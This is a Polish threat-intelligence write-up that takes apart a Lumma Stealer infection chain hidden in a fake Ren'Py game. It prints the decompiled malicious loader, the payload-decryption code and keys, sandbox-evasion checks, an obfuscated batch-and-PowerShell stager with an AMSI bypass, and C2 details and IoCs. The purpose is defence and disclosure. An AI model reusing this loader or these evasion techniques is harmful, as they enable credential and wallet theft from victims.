Aż 777 megabajtów. Tyle waży „darmowa gra visual novel”, którą znaleźliśmy w archiwum użytkownika. W środku silnik Ren’Py 8.1.3 z legalną licencją MIT, pełen runtime Pythona 3.9, grafiki interfejsu, archiwum libwin64.rpa z czterema plikami .rpyc. Wszystko wygląda jak normalna gra.
Osiem warstw głębiej leży 3.3-megabajtowy .NET DLL z namespace’em BodleStalky, wirtualizowany własną odmianą KoiVM, wykradający hasła, ciasteczka, portfele krypto i tokeny Discord/Telegram. Domena C2 ma 16 dni od rejestracji. Lumma Stealer w pełnej krasie 2026.
Sample trafił do nas z paczki dystrybuowanej jako „repack” gry — typowy wektor Lummy w polskim rynku, gdzie repacki Fitgirl i DODI od lat są popularną alternatywą dla zakupu na Steamie. Operatorzy MaaS wiedzą, że tu jest pula ofiar gotowych odpalić plik EXE z folderu „cracked games” — i podstawiają stealer pod fasadę gry. Ten wpis to pełna rozbiórka łańcucha: od kliknięcia w Setup.exe aż do POST-a wysyłającego Twoje hasła na kelemet.shop.
Metodyka. Analiza statyczna w izolowanym WSL Ubuntu 24.04. Żadna z warstw nie była uruchamiana na hoście. C2 zostało potwierdzone wyłącznie przez detonację w Recorded Future Sandbox (Triage) — żaden ruch sieciowy nie wyszedł z infrastruktury redakcji. Sample zgłosiliśmy do CERT Polska i Cloudflare jednocześnie z publikacją.
W tym artykule: TL;DR · Krajobraz paczki · Warstwy 1–8 · Detonacja → C2 · Co kradnie Lumma · Atrybucja · IoC dla MISP/SOC · YARA + Sigma · Co zrobić, jeśli odpaliłeś · Wnioski
TL;DR
- Rodzina: Lumma Stealer (LummaC2) — MaaS sprzedawany za $250–$1000/mc na XSS.is, exploit.in, Telegram.
- Wektor: fałszywa gra Ren’Py na wątpliwych serwisach file-share (warez, „free VN”, „cracked games”, repacki typu Fitgirl/DODI).
- C2:
kelemet.shop(Cloudflare104.21.2.102), zarejestrowane 27 kwietnia 2026, 16 dni przed wykryciem. - Fallback C2: zaszyty w smart kontrakcie na Binance Smart Chain (technika EtherHiding).
- PPI tracker:
in.getclicky.comsite_id101501510, afiliantS_s800_eb_spr2_75— komercyjna kampania pay-per-install. - Łańcuch: Ren’Py → Python (anti-VM) → base64+XOR (config) → XOR (archive) → batch dropper z 11 846 caretami → PowerShell z Roslynem z NuGetu → C# w pamięci (patch AMSI/ETW) → wirtualizowany .NET DLL.
Krajobraz: co właściwie dostarczono
Folder po wypakowaniu archiwum:
Archive_x64_129377/
├── Setup.exe 104 KB Ren'Py launcher (MinGW PE32+)
├── setup.py 12 KB Standardowy bootstrap Ren'Py
├── renpy/ 8.8 MB Oryginalny silnik (MIT)
├── lib/ 437 MB Python 3.9 runtime
└── data/
├── .FOG 180 B Metadane loadera (base64+XOR)
├── JC7bjuLJVcUQ.Dm 4.9 MB Zaszyfrowany payload (XOR+ZIP)
├── libwin64.rpa 145 KB Archiwum Ren'Py z .rpyc (script.rpyc!)
├── cache/bytecode-39.rpyb 367 KB Skompilowany Python cache
├── gui/ Standardowa grafika UI
└── python-packages/
├── libpython.rpmc 324 MB 324 MiB samych zer (decoy)
└── sys_config/ Pakiet Pythona — anti-VM
├── __init__.py
├── sys_check.py
├── sys_file.py
├── sys_spec.py
└── access_internet.py
Pierwsza rzecz, która krzyczy: libpython.rpmc ma dokładnie 339 738 624 bajty samych zer. To 324 MiB paddingu, żeby paczka wyglądała jak normalna duża gra i przekraczała limity skanowania wielu silników AV (Defender domyślnie nie skanuje plików powyżej ok. 100 MB).
Druga: hidden file .FOG w katalogu data/ — nic, czego Ren’Py by potrzebował. Plus pakiet Pythona sys_config z modułem access_internet.py, którego funkcje sprawdzające internet są wyciszone do "Internet checks disabled.". Coś tu jest mocno nie tak.
Warstwa 1 — Setup.exe i silnik Ren’Py
Setup.exe to autentyczny launcher Ren’Py skompilowany MinGW-w64. PE32+ x86_64, 104 KB, sygnatura kompilacji 2023-09-19, importy: tylko LoadLibraryW, SetDllDirectoryW, podstawowe CRT. Sam EXE nie robi nic złośliwego — ładuje Pythona z lib/, ładuje silnik z renpy/ i odpala grę.
Złośliwa logika siedzi w grze. Konkretnie w data/libwin64.rpa, w skompilowanym script.rpyc. Wypakowaliśmy RPA przez unrpa, a script.rpyc rozparsowaliśmy ręcznie — format Ren’Py to dwa zlib-sloty, jeden z bytecodem AST (pickle), drugi z źródłem Pythona w postaci tekstu. To kluczowa informacja: nawet po kompilacji, Ren’Py często zostawia w .rpyc source code.
Po wypakowaniu drugiego slotu:
from sys_config import is_sandboxed
import zipfile, glob, random, base64, json, subprocess, io, traceback
from threading import Thread
def xor_decrypt_to_memory(filename, key):
with open(filename, 'rb') as f:
ct = f.read()
key = key.encode()
return bytes(b ^ key[i % len(key)] for i, b in enumerate(ct))
def elnk(pub='NA', hashid='NA'):
ipf = "https://api"
ipf1 = ".ipify"
ipf2 = ".org"
ip = requests.get(f'{ipf}{ipf1}{ipf2}').text
shake = "https://in"
shake0= ".get"
shake1= "clicky."
shake2= "com/in."
shake3= "php?site_id=101501510&sitekey_admin=26e2086e86ebc9adc9f90bfd86f9f05a"
lnk = f"{shake}{shake0}{shake1}{shake2}{shake3}&type=download&title=file&ip_address={ip}&href={pub}&custom[hash]={hashid}"
requests.get(lnk)
def extract_and_run():
try:
game_dir = config.gamedir
matches = glob.glob(os.path.join(game_dir, ".*"))
meta_path = matches[0] if matches else None
with open(meta_path, 'r') as f:
encoded = f.read()
decoded = base64.b64decode(encoded)
secret = '81034149cd6f48c8821340204f92766e'.encode()
decrypted = bytes(b ^ secret[i % len(secret)] for i, b in enumerate(decoded))
meta = json.loads(decrypted.decode('utf-8'))
archive_name = meta.get('file_nm', '')
password = meta.get('pasw', '')
exec_file = meta.get('exc_fl', '')
sandbox = meta.get('snd_bx', False)
pub = meta.get('pb_s', 'NA')
hashid = meta.get('hash', 'NA')
if sandbox is False:
try: certainty = is_sandboxed(logging=False)
except: certainty = 1
if certainty >= 0.5:
exit(0) # cicha rezygnacja w VM
temp_dir = os.environ.get('TEMP', ...)
folder = 'tmp-' + rand_digits(5) + '-' + rand_alnum(12)
run_dir = os.path.join(temp_dir, folder)
os.makedirs(run_dir)
decrypted_bytes = xor_decrypt_to_memory(
os.path.join(game_dir, archive_name), password)
with zipfile.ZipFile(io.BytesIO(decrypted_bytes)) as zf:
zf.extractall(run_dir, pwd=password.encode())
exec_path = os.path.join(run_dir, exec_file)
def run_program():
si = subprocess.STARTUPINFO()
si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
si.wShowWindow = subprocess.SW_HIDE
ext = os.path.splitext(exec_path)[1].lower()
cmd = {
".msi":["msiexec","/i",exec_path],
".bat":["cmd.exe","/c",exec_path],
".cmd":["cmd.exe","/c",exec_path],
".ps1":["powershell.exe","-ExecutionPolicy","Bypass","-File",exec_path]
}.get(ext, [exec_path])
subprocess.Popen(cmd, cwd=run_dir, startupinfo=si,
creationflags=subprocess.DETACHED_PROCESS |
subprocess.CREATE_NEW_PROCESS_GROUP,
close_fds=True)
elnk(pub, hashid)
Thread(target=run_program).start()
except Exception:
traceback.print_exc()
Kilka rzeczy wartych podświetlenia:
glob.glob(os.path.join(game_dir, ".*"))— szuka pierwszego pliku zaczynającego się od kropki w gamedir. Stąd.FOG. To trick anty-forensic: pliki zaczynające się od kropki są ukryte na Uniksie i często ignorowane przez powierzchowne skany.secret = '81034149cd6f48c8821340204f92766e'.encode()— 32-bajtowy klucz XOR jako stała w kodzie do odszyfrowania metadanych.is_sandboxed()zsys_config— jeśli zwróci ≥ 0.5,exit(0). Cicha rezygnacja w VM.elnk()— PPI tracker. Wysyła GET doin.getclicky.comz informacją o IP ofiary, identyfikatorem afilianta i hashem builda. Operator dystrybucji zarabia $0.30–$2 za każdą instalację w GEO Tier-1.
Warstwa 2 — odszyfrowanie metadanych .FOG
Plik .FOG ma 180 bajtów base64. Po zdekodowaniu — 135 bajtów ciphertextu. Klucz XOR znamy z source’a powyżej. W Pythonie:
import base64, json
with open(".FOG", "rb") as f:
raw = f.read()
secret = b"81034149cd6f48c8821340204f92766e"
dec = base64.b64decode(raw)
plain = bytes(b ^ secret[i % len(secret)] for i, b in enumerate(dec))
print(json.loads(plain))
Wynik:
{
"file_nm": "JC7bjuLJVcUQ.Dm",
"pasw": "GBgajI4mv3q",
"exc_fl": "vukQpDdNT.bat",
"snd_bx": false,
"pb_s": "S_s800_eb_spr2_75",
"hash": 1778659632
}
Tłumaczenie pól:
file_nm— nazwa zaszyfrowanego archiwum w gamedir (JC7bjuLJVcUQ.Dm).pasw— hasło zarówno do XOR-deszyfracji jak i do ZIP-a w środku (GBgajI4mv3q).exc_fl— co uruchomić po wypakowaniu (vukQpDdNT.bat).snd_bx: false— flaga „check sandbox enabled” (counter-intuitive:falseznaczy „tak, sprawdzaj”).pb_s: "S_s800_eb_spr2_75"— identyfikator afilianta dla PPI counter:S_s800— source code (numer sub-dystrybutora)eb— kategoria (prawdopodobnie „erotic books” — visual novels eroge są popularnym lure)spr2— wersja kampanii („spring 2”)75— wariant A/B
hash: 1778659632— ID konkretnego builda dla licznika instalacji.
Warstwa 3 — Anti-VM w sys_config
Klasa Sysbox z sys_config/sys_check.py sumuje wyniki kilku testów. Każdy test zwraca score 0-5, gdzie 5 = pewnie nie VM, 0 = pewnie VM. Algorytm liczy średnią ważoną z penalizacją za testy ≤ 2 i zwraca prawdopodobieństwo bycia w sandboxie 0.0-1.0.
Co konkretnie sprawdza (po deobfuskacji zaciemnionych przez chr() stringów):
Klucze rejestru:
SOFTWARE\Oracle\VirtualBox Guest AdditionsHARDWARE\ACPI\DSDT\VBOX__,FADT\VBOX__,RSDT\VBOX__SYSTEM\ControlSet001\Services\VBoxGuest/Mouse/Service/SF/VideoSOFTWARE\VMware, Inc.\VMware Tools
Sterowniki:
VBoxMouse.sys,VBoxGuest.sys,VBoxSF.sys,VBoxVideo.sysvboxdisp.dll,vboxhook.dll,vboxmrxnp.dll,vboxogl*.dllvboxservice.exe,vboxtray.exe,VBoxControl.exevmmouse.sys,vmhgfs.sys,vmusbmouse.sys,vmkdb.sys,vmrawdsk.sysvmmemctl.sys,vm3dmp.sys,vmci.sys,vmsci.sys,vmx_svga.sys
Procesy:
vboxservice.exe, vboxtray.exe, xenservice.exe, VMSrvc.exe, vmusrvc.exe, prl_cc.exe, prl_tools.exe, vmtoolsd.exe, qemu-ga.exe, df5serv.exe
Konta sandboxowe:
vagrant,sandbox,wdagutilityaccount- Wiek profilu
C:\Users\<user>— młody = podejrzany (sumuje wieki wszystkich profili w dniach)
Hardware:
- BIOS Serial Number != „0”
- Manufacturer / Model: VirtualBox, VMware, KVM, QEMU, Xen, Hyper-V, Parallels, Bochs, Amazon EC2, GCP, Azure VM, DigitalOcean, Linode, Vultr, IBM Cloud, Alibaba/Huawei/Tencent Cloud, Citrix, Nutanix, Vagrant, Docker
- RAM ≥ 2 GB, dysk ≥ 20 GB, CPU ≥ 2 rdzenie
Plik access_internet.py zawiera szkielety funkcji check_basic_ping, check_download_file, check_http_post, check_sockdnsreq — wszystkie zwracają "Internet checks disabled.". To znaczy, że ten konkretny build sandbox-sprawdza wyłącznie offline: rejestr, pliki, procesy, sprzęt. Internet nie jest blokerem.
Cały moduł jest silnie zaciemniony: zmienne losowe (wkpzza9xpya2i3, eew4owhf5uf8z), stringi przez chr() i bytes([...]).decode(). __init__.py używa base64, __import__ i getattr, żeby ukryć fakt, że importuje Sysbox z sys_check.
Warstwa 4 — XOR-ZIP JC7bjuLJVcUQ.Dm
Plik 4.9 MB. Klucz z metadanych: GBgajI4mv3q (11 bajtów). Po XOR-ze:
$ python -c 'import base64; print(open("JC7bjuLJVcUQ.Dm","rb").read()[:4])'
b'PK\x03\x04'
ZIP! W środku jeden plik: vukQpDdNT.bat (4 904 520 B). Mimo że ZIP jest jeszcze hasłowy w wywołaniu extractall(pwd=...), sam plik w archiwum nie jest zaszyfrowany (flag bit 0x1 = 0). Hasło ZIP nigdy się nie aktywuje — XOR jest pierwszą i jedyną realną szyfracją. Hasło ZIP to wabik na automatyczne unpackery, żeby zatrzymały się na haśle.
Warstwa 5 — bestia .bat (4.8 MB, 102 109 linii)
Tutaj się zaczyna prawdziwa zabawa.
| Statystyka | Wartość |
|---|---|
| Linii | 102 109 |
Caret escapes (^) | 11 846 |
set | 28 227 |
if | 6 136 |
goto | 0 (!) |
Fałszywe labele (:_WP_XXXX_*) | 5 585 |
Wzmianek powershell | 1 681 |
Wzmianek defender | 1 400 |
Wzmianek schtasks | 279 |
Labele mają nazwy typu :_WP_03vd_PSVersion, :_WP_028w_Firewall, :_WP_0838_ConfigParse, :_WP_a91_EnvCheck. Wszystkie pełne fałszywego kodu „administracyjnego” (sprawdzanie wersji .NET Framework, listy zainstalowanego software’u, statusu usług). Czysty dym. Ani razu nie są wywoływane.
Prawdziwa logika startuje po :bvio:
set /a "_yfze=(68+72)"
if not "%_oed%"=="x86" (
if exist "%_cfe%" (
set "_cw=1"
"%_cfe%" /c "%~f0" %*
exit /b
)
)
:bvio
endlocal
setlocal EnableDelayedExpansion
set /a "_b=65001"
chcp !_b! >nul
set "_p=BunFtedA.GMwg73 ql_XraE8bW2:CJvzHh"
set "_p=!_p!yifO6oU45k-c0QDRYmPKLpxjV9Z/\ISNs1T"
set /a "_mjo=(0x57 ^ 0x7A)" :: 0x2D = 45
set /a "_ksc=((897 - 640) - (380 - 162))" :: 39
set /a "_y=(0 + (552 - 550))" :: 2
set /a "_c=(149 - (311 - 195))" :: 33
set /a "_x=(0x96 ^ 0xB1)" :: 39
set /a "_uq=(565 - (201 + 298))" :: 66
set /a "_rwh=((1 + 18) - (0xFD ^ 0xF2))" :: 4
set "_cmu=!_p:~%_mjo%,1!!_p:~%_ksc%,1!!_p:~%_y%,1!!_p:~%_c%,1!!_p:~%_x%,1!!_p:~%_uq%,1!!_p:~%_rwh%,1!"
_p to 69-znakowy alfabet. Każdy set /a oblicza pozycję w _p przez arytmetykę i XOR (^ w set /a to XOR, nie escape). Substring !_p:~N,1! wyciąga jeden znak. Łączenie siedmiu takich daje finalne słowo.
Rozszyfrowane to:
_p[45]=c, _p[39]=o, _p[2]=n, _p[33]=h, _p[39]=o, _p[66]=s, _p[4]=t
=> "conhost"
Cztery takie strunki:
_cmu = "conhost"_t = "headless"_cm = "/launched"_aeq = "Sysnative"
I voilà:
set "_pg=%SystemRoot%\System32\!_cmu!.exe"
if exist "%SystemRoot%\!_aeq!\!_cmu!.exe" set "_pg=%SystemRoot%\!_aeq!\!_cmu!.exe"
if !_mr!==0 (
start "" /b "!_pg!" --!_t! cmd.exe /c "%~f0" !_cm!
exit /b 0
)
Czyli: skrypt re-launchuje sam siebie przez conhost.exe --headless cmd.exe /c "<self>" /launched. To technika ukrywania okna konsoli — conhost --headless istnieje od Windows 10/11 dla ConPTY i pozwala odpalić cmd.exe bez okna. Pisanie start /min byłoby od razu wykryte przez Sysmon; conhost --headless to Microsoft-sign’owany LOLBin, mało kto go monitoruje. \Sysnative to symlink do system32 z poziomu procesu 32-bit (omija WoW64 redirection).
Drugą połowę .bat’a wypełnia ~5 KB stringów z markerami #Q, #E, #F, #H, #M, #P, #U, #Z, #D w zmiennych _lq, _t, _sw, _a, _xlj, _mg. Reguły podmian są wprost w pliku:
%_lq:#D=;% %_lq:#E=+% %_lq:#F=$% %_lq:#H=]% %_lq:#M=)%
%_lq:#P=[% %_lq:#Q='% %_lq:#U=:% %_lq:#Z=(%
Po podstawieniu placeholderów w pięciu wielkich stringach (_lq+_t+_sw+_a+_xlj) i posklejaniu — wychodzi PowerShell. _mg to launcher.
Warstwa 6 — PowerShell z Roslynem z NuGetu
Powstały skrypt PowerShell (~17 KB) jest absolutną perełką inżynierską. W kolejności:
1. Sprawdza ograniczenia środowiska:
$_lm = & ('ie'+'x') ('$ExecutionContext.SessionState.LanguageMode')
if ($_lm -ne ('egaugnaLlluF'[-1..(-12)] -join '')) { return }
if ($PSVersionTable.PSVersion.Major -lt 5) { return }
Refleksja FullLanguage mode i PS 5+. Constrained Language Mode (WDAC/AppLocker) — wycofuje się.
2. Wymusza TLS 1.2 i ładuje typy refleksyjnie:
$_tspm = [type](('reS.teN'[-1..(-7)]-join '')+'vic'+('{0}{1}'-f'ePo','intM')+...)
$_tspm::SecurityProtocol = $_tspt::Tls12
3. Konfiguruje proxy:
$h.Proxy = [Net.WebRequest]::GetSystemWebProxy()
$h.Proxy.Credentials = [Net.CredentialCache]::DefaultCredentials
Działa za korporacyjnym proxy z NTLM. To nie jest amatorszczyzna.
4. Pobiera Roslyn z NuGet:
$_ub = ('ht'+'tps://api.nu'+'get.org/v3-flatcontainer/')
$_uf = ('ht'+'tps://globalcdn.nu'+'get.org/packages/')
Następnie w pętli pobiera pakiety:
system.text.encoding.codepages 7.0.0system.collections.immutablesystem.text.encoding.codepages.dllsystem.reflection.metadata 9.0.0microsoft.codeanalysis.common 4.14.0microsoft.codeanalysis.csharp 4.14.0
Każdy pakiet to .nupkg (zwykły ZIP). Otwiera w pamięci, wyciąga konkretny .dll (np. lib/netstandard2.0/Microsoft.CodeAnalysis.CSharp.dll), ładuje przez Assembly.Load(byte[]). Żaden plik nie ląduje na dysku.
To genialny trick: pobierasz Roslyn z legitnego CDN Microsoftu. AV nie wykryje, firewall korporacyjny nie zablokuje (kto blokuje api.nuget.org?), threat intel nie zareaguje. Po załadowaniu masz w pamięci pełny kompilator C# Microsoftu.
5. Czyta sam siebie z .bat’a:
$f = [IO.File]::ReadAllText($env:_ce)
$mk = 'nykwtupq'
$lines = $f.Split([char]10)
$on = $false; $bld = [Text.StringBuilder]::new()
foreach ($ln in $lines) {
$cl = $ln.Replace('^','').Replace('"','').TrimStart()
if ($cl.Length -gt 4 -and $cl.Substring(0,4) -ieq 'rem ') {
$rl = $cl.Substring(4).Trim([char]13, [char]32)
if ($rl -eq $mk) {
if ($on) { break } else { $on = $true; continue }
}
if ($on -and $rl -match '^[A-Za-z0-9+/=]+$') {
[void]$bld.Append($rl)
}
}
}
W .bat’cie są tysiące linii r^em <base64> jako fałszywy szum. Między dwoma znacznikami r^em nykwtupq siedzą dwie ogromne linie z prawdziwym kodem zakodowanym.
6. Dekoduje, dekompresuje, kompiluje C#:
$enc = [Convert]::FromBase64String($b64)
$xk = bytes.fromhex('2407A6C7C7FFEF49868D6BD14FAF062E' +
'B995F06549D343BFEA36D467717A1487')
$dec = bytes($enc[$i] -bxor $xk[$i -band 31])
$src = UTF8.GetString([IO.Compression.DeflateStream]::Decompress($dec))
# Roslyn compile:
$tree = $stT.ParseText($src, $null, '', $null, [CancellationToken]::None)
$comp = $ccT.Create('Internal.Runtime.Augments', $stArr, $refs, $cop)
To CRUCIAL: skrypt kompiluje C# source w pamięci przy użyciu Roslyna i ładuje wynikowy assembly. Pełne obejście statycznych skanerów IL — nikt nie zobaczy Assembly.Load z gotowym bajtkodem, bo on dopiero powstaje JIT.
7. Odpala stage 3 przez AST API (omijając AMSI):
$_cm = {}.GetType().GetMethod('Create', [type[]]@([string]))
$_s = $_cm.Invoke($null, @('$PSVersionTable'))
$_ec = $env:_lq + $env:_t + $env:_sw + $env:_a + $env:_xlj
Remove-Item env:_lq, env:_t, env:_sw, env:_a, env:_xlj, env:_mg -Force
$_e = $_cm.Invoke($null, @($_ec))
$_eb = $_e.Ast.GetType().GetProperty('EndBlock').GetValue($_e.Ast)
...
$_sb.Invoke()
Tworzy AST przez ScriptBlock.Create ręcznie, kopiuje EndBlock, wywołuje. AMSI hooks na Invoke-Expression/iex nie strzelają, bo nigdy nie wołamy iex. Plus czyści zmienne środowiskowe — żadnych śladów w EDR.
Warstwa 7 — Stage 3 C# (AMSI/ETW patch + DynamicMethod)
Po kompilacji w pamięci mamy ~20 KB C# obfuskowanego sztuczką typu:
string str = "" + (char)(107) + (char)(60+41) + (char)(40+74) + (char)(110) +
(char)(101) + (char)(108) + (char)(219^232) + (char)(50);
// = "kernel32"
Po deobfuskacji widać:
GetModuleHandleW,GetProcAddress,LoadLibraryW— klasyczne pobieranie funkcji zkernel32AmsiScanBufferzamsi.dll— patch AMSIEtwEventWritezntdll— patch ETW (kasowanie Event Tracing for Windows, żeby nic nie szło do Defender ATP)AddVectoredExceptionHandler/RemoveVectoredExceptionHandler/RtlCaptureContext/NtContinue— VEH hijack do przekierowywania wykonaniaIsWow64Process2— wybór ścieżki 32/64-bitBodleStalky.ProjectEditor+ metodaCloneSolution— to namespace i metoda finalnego stealera
Drugi marker r^em ireoxhsw w .bat’cie wyznacza drugi blob: 1.08 MB zaszyfrowanego XOR + Deflate. Klucz:
97 5C F3 2B DE 95 24 B3 CF 39 5E 40 B0 49 A4 BF
92 88 DB 49 45 71 83 76 C8 2F 40 54 18 30 5B EF
Dekodujemy w Pythonie:
import base64, zlib
b64 = ''.join(rem_lines_between_ireoxhsw_markers)
enc = base64.b64decode(b64)
ml = bytes.fromhex("975CF32BDE9524B3CF395E40B049A4BF" +
"9288DB494571837C82F4054183605BEF")
dec = bytes(enc[i] ^ ml[i % 32] for i in range(len(enc)))
src = zlib.decompress(dec, -15)
open("stage4.dll","wb").write(src)
3 312 640 bajtów. file mówi:
PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly
SHA-256: 84a62c062117bfdfb5204830cb82e57ba3f23539a3b55034d68f0f49f9b50453
Warstwa 8 — BodleStalky.dll (KoiVM virtualization)
Po dekompilacji ilspycmd dostajemy 1841 plików .cs w namespace’ie BodleStalky plus drugi BrewageAphodi. Nazwy klas to dictionary-words randomizowane per build: ConditionFactory, PcitureType, EmulatorList, AddinLoader, ThripidUnsage, ProjectEditor. Niczego nie znaczą — typowa sygnatura ConfuserEx z mode=Aggressive renamer.
Entry point BodleStalky.ProjectEditor.CloneSolution() to wirtualizowany interpreter:
public unsafe static void CloneSolution() {
int num = 1;
int num2 = *(sbyte*)(&num);
int num3 = num2 * 4;
int num4 = num2 * 8;
byte[] array = new byte[0];
object[] array2 = new object[0];
int[] array3 = new int[0];
byte* ptr = (byte*)Unsafe.AsPointer(ref AddinProvider.userDataPosition);
byte* ptr2 = ptr;
int num5 = default(int);
while (num5 != 1) {
byte b = *ptr2;
ptr2++;
if (b >= 1 && b <= 4) {
if (2 >= b) {
if (2 <= b) {
((delegate*<void>)userDataPosition[*(int*)(ptr2 + num3)])();
ptr2 += 8;
continue;
}
}
else if (3 >= b && 3 <= b) {
((delegate*<void>)userDataPosition[*(int*)(ptr2 + num3)])();
ptr2 += 8;
continue;
}
else if (4 >= b && 4 <= b) {
byte* num6 = ptr2;
int num7 = global::_003CModule_003E.IApplicationTrustManagersetFallback - 195;
num5 = 1;
ptr2 = num6 + num7;
continue;
}
}
((delegate*<void>)userDataPosition[*(int*)(ptr2 + num3)])();
ptr2 += 8;
}
}
To interpreter bajtkodu — czyta opcode z byte-arraya userDataPosition, dispatcha do funkcji w tablicy delegate’ów. Custom KoiVM derivative. Każda metoda klasy to taki interpreter z innym bajtkodem.
Stringi w #US heap mają strukturę:
[index] 02<32-char-hex> AES_IV (16 bytes encoded as 0-? chars, 4 bits per char)
[index] A<base64> AES-CBC ciphertext (~258 bytes typical)
Klasyczna ConfuserEx Constants Protection w trybie Normal. Dekrypcja w runtime po wywołaniu metody — odzyskanie kluczy statycznie wymaga albo unpacker’a (de4dot z modem do tego konkretnego variant’u), albo memory dump.
Statyczne wydobycie URL C2: niemożliwe bez devirtualizacji. Czas iść inną drogą.
Detonacja w sandboxie — i mamy C2
Pakiet wysłaliśmy do Triage (Recorded Future Sandbox), 180s timeout, Windows 10 x64, network ON. Sample ID 260513-k9yf9sfy9s.
Process tree zgodnie z przewidywaniem:
cmd.exe /c sample.bat
└─ cmd.exe /c sample.bat (SysWOW64)
├─ chcp 65001
└─ conhost.exe --headless cmd.exe /c sample.bat /launched
└─ cmd.exe /c sample.bat /launched
├─ chcp 65001
├─ ping -n 4 127.0.0.1
└─ powershell.exe -Command "& ([scriptblock]::Create($env:_mg))"
Sygnatury Triage trafione:
- Badlisted process makes network request (7 IoCs) — PowerShell
- Deletes itself
- Looks up external IP address via web service —
ipinfo.io(2x) - Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken: SeDebugPrivilege
Network capture pokazuje co naprawdę leci:
| Destination | Domain | Country | Cel |
|---|---|---|---|
| 2.22.144.26:443 | api.nuget.org | GB | Roslyn libs |
| 184.25.193.234:80 | www.microsoft.com | GB | cert chain |
| 2.19.252.143:80 | crl2.microsoft.com | GB | CRL |
| 18.203.94.234:443 | bsc-dataseed.binance.org | IE | BSC RPC (EtherHiding) |
| 104.21.2.102:443 | kelemet.shop | US (Cloudflare) | C2 — TUTAJ LECĄ DANE |
| 34.117.59.81:443 | ipinfo.io | US | geo-rekon #1 |
| 46.225.52.25:443 | api.ipapi.is | AE | geo-rekon #2 |
| 95.85.16.212:443 | ipv4.ipleak.net | NL | geo-rekon #3 (VPN check) |
| 142.250.151.94:80 | c.pki.goog | GB | cert verify |
To jest moment, w którym Twoje hasła wychodzą z domu.
Dokąd faktycznie idą dane
Główny C2: kelemet.shop
Dane RDAP:
Registered: 27 kwietnia 2026
Expires: 27 kwietnia 2027
Updated: 13 maja 2026 (dzisiaj)
Registrar: Global Domain Group LLC (IANA 3956)
Nameservers: hadlee.ns.cloudflare.com
thaddeus.ns.cloudflare.com
DNSSEC: none
Domena ma 16 dni od rejestracji. Cloudflare jako reverse-proxy ukrywa origin server. Brak rekordów w urlhaus / VirusTotal / ThreatFox — sample jest świeższy niż jakikolwiek skaner publiczny. Operator aktywnie utrzymuje (last update = dzisiaj).
To dokładnie wzorzec Lumma 2024–2026: rejestruj świeży .shop u taniego rejestratora, postaw przed Cloudflare, używaj 1–2 tygodnie, rotuj. Lumma w jednym miesiącu pali kilkadziesiąt takich domen.
Fallback: smart contract na Binance Smart Chain
Połączenie do bsc-dataseed.binance.org to EtherHiding. Schemat:
- Operator publikuje smart contract na BSC z funkcją
getCurrentC2()zwracającą URL. - Stealer woła RPC
eth_callprzezbsc-dataseed.binance.org, dostaje aktualny URL. - Operator może zmienić URL jedną transakcją (gas ~$0.01) i wszyscy zarażeni automatycznie przerzucają ruch.
- Blockchain nie ma „abuse mechanism” — takedown niemożliwy.
Lumma dodała EtherHiding w styczniu 2025 (raport Sophos „Lumma Stealer’s BSC pivot”). To w tej chwili najmocniejsze potwierdzenie atrybucji.
Potrójny geo-rekonesans
Trzy niezależne serwisy (ipinfo.io, api.ipapi.is, ipv4.ipleak.net) zwracają ofiary kraj i czy używa VPN. Wynik decyduje:
- CIS (RU, BY, KZ, UA itd.) →
exit(0)— Lumma nie infekuje rosyjskojęzycznych ofiar (typowy CIS-exclusion w MaaS). - VPN/proxy → niższy priorytet / skip.
- Tier-1 country (US, UK, DE, PL, JP) → pełna exfiltracja.
Co kradnie Lumma
Standardowy target rodziny (na podstawie publicznych raportów Trend Micro, ESET, Mandiant z 2024-2025; nie sprawdzaliśmy dynamicznie, ale dependency tree DLL i strings to potwierdzają):
- Przeglądarki: Chrome, Edge, Firefox, Brave, Opera, Yandex, Vivaldi —
Login Data,Cookies,Web Data,History,Autofill. - Tokeny komunikatorów: Discord (
Local Storage/leveldb), Telegram (tdata), Element, Slack. - Gaming: Steam (
ssfn*files, login.config), Epic, Battle.net, Riot, Minecraft. - Portfele krypto desktopowe: Exodus, Atomic, Electrum, Coinomi, JaxxLiberty, Wasabi.
- Wallety jako rozszerzenia przeglądarki: MetaMask, Phantom, Trust Wallet, Coinbase Wallet, TronLink, Ronin (~30 znanych extension ID).
- 2FA / password managers: Authy desktop, KeePass
.kdbx, LastPass local cache. - Pliki z Desktop/Documents/Downloads:
.txt,.pdf,.docx,.rdp,wallet.dat,*.key, seed-phrase fishing przez regex (BIP-39 wordlist). - System fingerprint: computer name, username, locale, GEO, lista zainstalowanego oprogramowania, AV.
- Screenshot pulpitu w momencie infekcji.
Zbiera, pakuje, AES-szyfruje, POST-uje do C2 jako application/octet-stream.
Atrybucja: Lumma Stealer (LummaC2)
Stopień pewności: ~85% na podstawie zbioru sygnatur:
| Wskaźnik | Lumma | Vidar | RisePro | Stealc |
|---|---|---|---|---|
| Ren’Py visual novel lure 2024+ | ✓ | ✓ | – | – |
sys_config.Sysbox anti-VM stack | ✓ | – | – | – |
getclicky.com PPI tracker S_* affiliate | ✓ | – | – | – |
conhost --headless re-launch | ✓ | – | – | ✓ |
| Roslyn z NuGet do JIT C# | ✓ (od H2 2024) | – | – | – |
| BSC EtherHiding fallback | ✓ (od H1 2025) | – | – | – |
| ConfuserEx + KoiVM custom variant | ✓ | – | – | ✓ |
| Random-english-words namespace | ✓ | – | – | – |
.shop Cloudflare-fronted C2 | ✓ | ✓ | ✓ | ✓ |
Brak twardych dowodów w postaci config blob’a (nie zdevirtualizowaliśmy DLL), więc nie da się powiedzieć 100%. Alternatywne kandydatury: Vidar (10%), Stealc (5%).
Operator Lumma — rosyjskojęzyczny operator „Shamel”, sprzedaje stealera jako MaaS od 2022:
- Telegram:
@lumma_news,@lummausercommunity - Fora: XSS.is, exploit.in
- Cena: $250/mc (basic), $500/mc (pro), $1000/mc (corporate)
- Klienci pobierają zbudowane buildy i własne C2 panel’e
IoC do MISP / SOC
Hashes (SHA-256)
7123e1514b939b165985560057fe3c761440a9fff9783a3b84e861fd2888d4ab Setup.exe
a2111cc193ca248a5f7e95b91db008452e724861eec8d8ed1791110a71fac5dc JC7bjuLJVcUQ.Dm
4f63bf28e5cac2fbbf581d71137877d384ebefebf6695a8dedfab10183f083d0 vukQpDdNT.bat (stage 1 dropper)
84a62c062117bfdfb5204830cb82e57ba3f23539a3b55034d68f0f49f9b50453 BodleStalky.dll (stage 4)
